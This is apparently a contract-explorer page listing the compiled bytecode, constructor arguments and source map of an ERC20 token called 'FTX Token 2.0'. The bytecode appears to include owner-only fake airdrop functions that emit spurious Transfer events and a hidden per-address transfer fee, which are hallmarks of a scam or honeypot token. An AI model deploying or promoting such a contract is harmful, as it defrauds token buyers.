0508181036000830152611cb681611a7c565b9050919050565b60006020820190508181036000830152611cd681611a9f565b9050919050565b60006020820190508181036000830152611cf681611ac2565b9050919050565b60006020820190508181036000830152611d1681611ae5565b9050919050565b60006020820190508181036000830152611d3681611b08565b9050919050565b60006020820190508181036000830152611d5681611b2b565b9050919050565b6000602082019050611d726000830184611b4e565b92915050565b6000602082019050611d8d6000830184611b74565b92915050565b6000611d9d611dae565b9050611da98282611ff3565b919050565b6000604051905090565b600067ffffffffffffffff821115611dd357611dd2612135565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611e0b82611f53565b9150611e1683611f53565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e4b57611e4a6120a8565b5b828201905092915050565b6000611e6182611f53565b9150611e6c83611f53565b925082611e7c57611e7b6120d7565b5b828204905092915050565b6000611e9282611f53565b9150611e9d83611f53565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611ed657611ed56120a8565b5b828202905092915050565b6000611eec82611f53565b9150611ef783611f53565b925082821015611f0a57611f096120a8565b5b828203905092915050565b6000611f2082611f33565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611f7582611f53565b9050919050565b6000611f8782611f53565b9050919050565b60005b83811015611fac578082015181840152602081019050611f91565b83811115611fbb576000848401525b50505050565b60006002820490506001821680611fd957607f821691505b60208210811415611fed57611fec612106565b5b50919050565b611ffc82612164565b810181811067ffffffffffffffff8211171561201b5761201a612135565b5b80604052505050565b600061202f82611f53565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612062576120616120a8565b5b600182019050919050565b6000819050919050565b600061208282611f53565b915061208d83611f53565b92508261209d5761209c6120d7565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61241f81611f15565b811461242a57600080fd5b50565b61243681611f53565b811461244157600080fd5b5056fea2646970667358221220811a829dcfbcb51d04d8c5501e4fa33ccc89934359b5859cd50d3f164ffeaa2464736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000001bc16d674ec80000000000000000000000000000000000000000000000000000000000000000000d46545820546f6b656e20322e30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006465454322e300000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c1af578511610066578063c1af578514610276578063dd62ed3e14610280578063f2fde38b146102b0578063ffa1ad74146102cc576100f5565b8063715018a6146102005780638da5cb5b1461020a57806395d89b4114610228578063a9059cbb14610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063430432d4146101b457806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102ea565b60405161010f9190611c1b565b60405180910390f35b610132600480360381019061012d9190611921565b61037c565b60405161013f9190611bca565b60405180910390f35b61015061039a565b60405161015d9190611d5d565b60405180910390f35b610180600480360381019061017b91906118d2565b6103a4565b60405161018d9190611bca565b60405180910390f35b61019e6104a5565b6040516101ab9190611d78565b60405180910390f35b6101ce60048036038101906101c9919061195d565b6104bc565b005b6101ea60048036038101906101e5919061186d565b610916565b6040516101f79190611d5d565b60405180910390f35b61020861095f565b005b6102126109e7565b60405161021f9190611baf565b60405180910390f35b610230610a10565b60405161023d9190611c1b565b60405180910390f35b610260600480360381019061025b9190611921565b610aa2565b60405161026d9190611bca565b60405180910390f35b61027e610ac0565b005b61029a60048036038101906102959190611896565b610e45565b6040516102a79190611d5d565b60405180910390f35b6102ca60048036038101906102c5919061186d565b610ecc565b005b6102d4610fc4565b6040516102e19190611d5d565b60405180910390f35b6060600580546102f990611fc1565b80601f016020809104026020016040519081016040528092919081815260200182805461032590611fc1565b80156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b5050505050905090565b6000610390610389610fc9565b8484610fd1565b6001905092915050565b6000600854905090565b60006103b184848461119c565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103fc610fc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390611cbd565b60405180910390fd5b61049985610488610fc9565b85846104949190611ee1565b610fd1565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b6104ef6104c7610fc9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611586565b600060024244604051602001610506929190611b83565b6040516020818303038152906040528051906020012060001c6105299190612077565b905060005b825181101561091157600082141561071b576105e06d04ee2d6d415b85acef81000000006002600086858151811061058f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f890919063ffffffff16565b6002600085848151811061061d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082818151811061069c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c7e37be2022c0914b268000000060405161070e9190611be5565b60405180910390a36108fe565b60018214156108fd576107c46d18a6e32246c99c60ad850000000060026000868581518110610773577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f890919063ffffffff16565b60026000858481518110610801577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610880577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6e604be73de4838ad9a5cf88000000006040516108f49190611c00565b60405180910390a35b5b808061090990612024565b91505061052e565b505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610967610fc9565b73ffffffffffffffffffffffffffffffffffffffff166109856109e7565b73ffffffffffffffffffffffffffffffffffffffff16146109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d290611cdd565b60405180910390fd5b6109e5600061160e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610a1f90611fc1565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4b90611fc1565b8015610a985780601f10610a6d57610100808354040283529160200191610a98565b820191906000526020600020905b815481529060010190602001808311610a7b57829003601f168201915b5050505050905090565b6000610ab6610aaf610fc9565b848461119c565b6001905092915050565b610af3610acb610fc9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611586565b600060024244604051602001610b0a929190611b83565b6040516020818303038152906040528051906020012060001c610b2d9190612077565b90506000811415610cb957610bba6d04ee2d6d415b85acef810000000060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c7e37be2022c0914b2680000000604051610cac9190611be5565b60405180910390a3610e42565b6001811415610e4157610d446d18a6e32246c99c60ad850000000060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6e604be73de4838ad9a5cf8800000000604051610e389190611c00565b60405180910390a35b5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ed4610fc9565b73ffffffffffffffffffffffffffffffffffffffff16610ef26109e7565b73ffffffffffffffffffffffffffffffffffffffff1614610f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3f90611cdd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf90611c5d565b60405180910390fd5b610fc18161160e565b50565b600181565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103890611d1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a890611c7d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161118f9190611d5d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120390611cfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390611c3d565b60405180910390fd5b6112878383836116e8565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590611c9d565b60405180910390fd5b600061131a85846116ed565b90506000611331828561178190919063ffffffff16565b9050611346848461178190919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113db81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147082600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115109190611d5d565b60405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115769190611d5d565b60405180910390a3505050505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146115f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115eb90611d3d565b60405180910390fd5b5050565b600081836116069190611e56565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836116e09190611e00565b905092915050565b505050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008311156117525761174f6000826116d290919063ffffffff16565b90505b611778606461176a838661179790919063ffffffff16565b6115f890919063ffffffff16565b91505092915050565b6000818361178f9190611ee1565b905092915050565b600081836117a59190611e87565b905092915050565b60006117c06117bb84611db8565b611d93565b905080838252602082019050828560208602820111156117df57600080fd5b60005b8581101561180f57816117f58882611819565b8452602084019350602083019250506001810190506117e2565b5050509392505050565b60008135905061182881612416565b92915050565b600082601f83011261183f57600080fd5b813561184f8482602086016117ad565b91505092915050565b6000813590506118678161242d565b92915050565b60006020828403121561187f57600080fd5b600061188d84828501611819565b91505092915050565b600080604083850312156118a957600080fd5b60006118b785828601611819565b92505060206118c885828601611819565b9150509250929050565b6000806000606084860312156118e757600080fd5b60006118f586828701611819565b935050602061190686828701611819565b925050604061191786828701611858565b9150509250925092565b6000806040838503121561193457600080fd5b600061194285828601611819565b925050602061195385828601611858565b9150509250929050565b60006020828403121561196f57600080fd5b600082013567ffffffffffffffff81111561198957600080fd5b6119958482850161182e565b91505092915050565b6119a781611f15565b82525050565b6119b681611f27565b82525050565b6119c581611f6a565b82525050565b6119d481611f7c565b82525050565b60006119e582611de4565b6119ef8185611def565b93506119ff818560208601611f8e565b611a0881612164565b840191505092915050565b6000611a20602383611def565b9150611a2b82612175565b604082019050919050565b6000611a43602683611def565b9150611a4e826121c4565b604082019050919050565b6000611a66602283611def565b9150611a7182612213565b604082019050919050565b6000611a89602683611def565b9150611a9482612262565b604082019050919050565b6000611aac602883611def565b9150611ab7826122b1565b604082019050919050565b6000611acf602083611def565b9150611ada82612300565b602082019050919050565b6000611af2602583611def565b9150611afd82612329565b604082019050919050565b6000611b15602483611def565b9150611b2082612378565b604082019050919050565b6000611b38602183611def565b9150611b43826123c7565b604082019050919050565b611b5781611f53565b82525050565b611b6e611b6982611f53565b61206d565b82525050565b611b7d81611f5d565b82525050565b6000611b8f8285611b5d565b602082019150611b9f8284611b5d565b6020820191508190509392505050565b6000602082019050611bc4600083018461199e565b92915050565b6000602082019050611bdf60008301846119ad565b92915050565b6000602082019050611bfa60008301846119bc565b92915050565b6000602082019050611c1560008301846119cb565b92915050565b60006020820190508181036000830152611c3581846119da565b905092915050565b60006020820190508181036000830152611c5681611a13565b9050919050565b60006020820190508181036000830152611c7681611a36565b9050919050565b60006020820190508181036000830152611c9681611a59565b9050919050565b60006020820190508181036000830152611cb681611a7c565b9050919050565b60006020820190508181036000830152611cd681611a9f565b9050919050565b60006020820190508181036000830152611cf681611ac2565b9050919050565b60006020820190508181036000830152611d1681611ae5565b9050919050565b60006020820190508181036000830152611d3681611b08565b9050919050565b60006020820190508181036000830152611d5681611b2b565b9050919050565b6000602082019050611d726000830184611b4e565b92915050565b6000602082019050611d8d6000830184611b74565b92915050565b6000611d9d611dae565b9050611da98282611ff3565b919050565b6000604051905090565b600067ffffffffffffffff821115611dd357611dd2612135565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611e0b82611f53565b9150611e1683611f53565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e4b57611e4a6120a8565b5b828201905092915050565b6000611e6182611f53565b9150611e6c83611f53565b925082611e7c57611e7b6120d7565b5b828204905092915050565b6000611e9282611f53565b9150611e9d83611f53565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611ed657611ed56120a8565b5b828202905092915050565b6000611eec82611f53565b9150611ef783611f53565b925082821015611f0a57611f096120a8565b5b828203905092915050565b6000611f2082611f33565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611f7582611f53565b9050919050565b6000611f8782611f53565b9050919050565b60005b83811015611fac578082015181840152602081019050611f91565b83811115611fbb576000848401525b50505050565b60006002820490506001821680611fd957607f821691505b60208210811415611fed57611fec612106565b5b50919050565b611ffc82612164565b810181811067ffffffffffffffff8211171561201b5761201a612135565b5b80604052505050565b600061202f82611f53565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612062576120616120a8565b5b600182019050919050565b6000819050919050565b600061208282611f53565b915061208d83611f53565b92508261209d5761209c6120d7565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61241f81611f15565b811461242a57600080fd5b50565b61243681611f53565b811461244157600080fd5b5056fea2646970667358221220811a829dcfbcb51d04d8c5501e4fa33ccc89934359b5859cd50d3f164ffeaa2464736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000001bc16d674ec80000000000000000000000000000000000000000000000000000000000000000000d46545820546f6b656e20322e30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006465454322e300000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): FTX Token 2.0
Arg [1] : symbol_ (string): FTT2.0
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 2000000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000001bc16d674ec80000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 46545820546f6b656e20322e3000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [7] : 465454322e300000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4939:6629:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5826:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8318:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6127:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8536:464;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6028:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6241:804;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7700:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1488:94;;;:::i;:::-;;1265:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5925:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7885:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7053:641;;;:::i;:::-;;8109:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1590:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5024:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5826:91;5871:13;5904:5;5897:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5826:91;:::o;8318:210::-;8437:4;8459:39;8468:12;:10;:12::i;:::-;8482:7;8491:6;8459:8;:39::i;:::-;8516:4;8509:11;;8318:210;;;;:::o;6127:108::-;6188:7;6215:12;;6208:19;;6127:108;:::o;8536:464::-;8676:4;8701:36;8711:6;8719:9;8730:6;8701:9;:36::i;:::-;8750:24;8777:11;:19;8789:6;8777:19;;;;;;;;;;;;;;;:33;8797:12;:10;:12::i;:::-;8777:33;;;;;;;;;;;;;;;;8750:60;;8849:6;8829:16;:26;;8821:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8911:57;8920:6;8928:12;:10;:12::i;:::-;8961:6;8942:16;:25;;;;:::i;:::-;8911:8;:57::i;:::-;8988:4;8981:11;;;8536:464;;;;;:::o;6028:91::-;6077:5;6102:9;;;;;;;;;;;6095:16;;6028:91;:::o;6241:804::-;6314:42;6336:12;:10;:12::i;:::-;6350:5;;;;;;;;;;;6314:21;:42::i;:::-;6367:20;6464:1;6425:15;6442:16;6408:51;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6398:62;;;;;;6390:71;;:75;;;;:::i;:::-;6367:98;;6482:6;6478:560;6498:8;:15;6494:1;:19;6478:560;;;6555:1;6539:12;:17;6535:492;;;6602:61;6629:33;6602:9;:22;6612:8;6621:1;6612:11;;;;;;;;;;;;;;;;;;;;;;6602:22;;;;;;;;;;;;;;;;:26;;:61;;;;:::i;:::-;6577:9;:22;6587:8;6596:1;6587:11;;;;;;;;;;;;;;;;;;;;;;6577:22;;;;;;;;;;;;;;;:86;;;;6708:8;6717:1;6708:11;;;;;;;;;;;;;;;;;;;;;;6687:67;;6704:1;6687:67;;;6721:32;6687:67;;;;;;:::i;:::-;;;;;;;;6535:492;;;6808:1;6792:12;:17;6789:238;;;6855:61;6882:33;6855:9;:22;6865:8;6874:1;6865:11;;;;;;;;;;;;;;;;;;;;;;6855:22;;;;;;;;;;;;;;;;:26;;:61;;;;:::i;:::-;6830:9;:22;6840:8;6849:1;6840:11;;;;;;;;;;;;;;;;;;;;;;6830:22;;;;;;;;;;;;;;;:86;;;;6961:8;6970:1;6961:11;;;;;;;;;;;;;;;;;;;;;;6940:71;;6957:1;6940:71;;;6974:36;6940:71;;;;;;:::i;:::-;;;;;;;;6789:238;6535:492;6515:3;;;;;:::i;:::-;;;;6478:560;;;;6241:804;;:::o;7700:177::-;7819:7;7851:9;:18;7861:7;7851:18;;;;;;;;;;;;;;;;7844:25;;7700:177;;;:::o;1488:94::-;1411:12;:10;:12::i;:::-;1400:23;;:7;:5;:7::i;:::-;:23;;;1392:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1553:21:::1;1571:1;1553:9;:21::i;:::-;1488:94::o:0;1265:87::-;1311:7;1338:6;;;;;;;;;;;1331:13;;1265:87;:::o;5925:95::-;5972:13;6005:7;5998:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5925:95;:::o;7885:216::-;8007:4;8029:42;8039:12;:10;:12::i;:::-;8053:9;8064:6;8029:9;:42::i;:::-;8089:4;8082:11;;7885:216;;;;:::o;7053:641::-;7097:42;7119:12;:10;:12::i;:::-;7133:5;;;;;;;;;;;7097:21;:42::i;:::-;7150:20;7247:1;7208:15;7225:16;7191:51;;;;;;;;;:::i;:::-;;;;;;;;;;;;;7181:62;;;;;;7173:71;;:75;;;;:::i;:::-;7150:98;;7279:1;7263:12;:17;7259:428;;;7316:55;7337:33;7316:9;:16;7326:5;;;;;;;;;;;7316:16;;;;;;;;;;;;;;;;:20;;:55;;;;:::i;:::-;7297:9;:16;7307:5;;;;;;;;;;;7297:16;;;;;;;;;;;;;;;:74;;;;7412:5;;;;;;;;;;;7391:61;;7408:1;7391:61;;;7419:32;7391:61;;;;;;:::i;:::-;;;;;;;;7259:428;;;7498:1;7482:12;:17;7479:208;;;7535:55;7556:33;7535:9;:16;7545:5;;;;;;;;;;;7535:16;;;;;;;;;;;;;;;;:20;;:55;;;;:::i;:::-;7516:9;:16;7526:5;;;;;;;;;;;7516:16;;;;;;;;;;;;;;;:74;;;;7631:5;;;;;;;;;;;7610:65;;7627:1;7610:65;;;7638:36;7610:65;;;;;;:::i;:::-;;;;;;;;7479:208;7259:428;7053:641;:::o;8109:201::-;8243:7;8275:11;:18;8287:5;8275:18;;;;;;;;;;;;;;;:27;8294:7;8275:27;;;;;;;;;;;;;;;;8268:34;;8109:201;;;;:::o;1590:192::-;1411:12;:10;:12::i;:::-;1400:23;;:7;:5;:7::i;:::-;:23;;;1392:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1699:1:::1;1679:22;;:8;:22;;;;1671:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1755:19;1765:8;1755:9;:19::i;:::-;1590:192:::0;:::o;5024:35::-;5058:1;5024:35;:::o;820:98::-;873:7;900:10;893:17;;820:98;:::o;11050:380::-;11203:1;11186:19;;:5;:19;;;;11178:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11284:1;11265:21;;:7;:21;;;;11257:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11368:6;11338:11;:18;11350:5;11338:18;;;;;;;;;;;;;;;:27;11357:7;11338:27;;;;;;;;;;;;;;;:36;;;;11406:7;11390:32;;11399:5;11390:32;;;11415:6;11390:32;;;;;;:::i;:::-;;;;;;;;11050:380;;;:::o;9010:936::-;9168:1;9150:20;;:6;:20;;;;9142:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9252:1;9231:23;;:9;:23;;;;9223:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9307:47;9328:6;9336:9;9347:6;9307:20;:47::i;:::-;9367:21;9391:9;:17;9401:6;9391:17;;;;;;;;;;;;;;;;9367:41;;9444:6;9427:13;:23;;9419:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;9514:11;9528:29;9542:6;9550;9528:13;:29::i;:::-;9514:43;;9568:17;9588:15;9599:3;9588:6;:10;;:15;;;;:::i;:::-;9568:35;;9644:25;9662:6;9644:13;:17;;:25;;;;:::i;:::-;9624:9;:17;9634:6;9624:17;;;;;;;;;;;;;;;